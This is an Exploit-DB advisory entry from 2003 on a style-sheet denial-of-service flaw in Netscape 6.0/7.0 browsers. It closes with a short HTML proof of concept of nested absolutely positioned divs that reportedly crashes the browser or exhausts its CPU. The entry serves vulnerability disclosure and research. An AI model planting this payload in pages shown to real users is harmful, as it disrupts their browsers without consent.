Netscape 6.0/7.0 - Style Sheet Denial of Service

EDB-ID:

22286

CVE:

N/A


Author:

Jocke

Type:

dos


Platform:

Unix

Date:

2003-02-25


source: https://www.securityfocus.com/bid/6937/info

It has been reported that Netscape based browsers may be vulnerable to a denial of service condition when rendering certain style sheet code.

If a malicious page is viewed the browser reportedly becomes unstable. One possible condition mentioned was critical failure of the browser while another condition reportedly utilized all CPU resources. 

<html> <body>
<div style="position:absolute;">
<div style="position:absolute; overflow:scroll"> </div> </div>
</body> </html>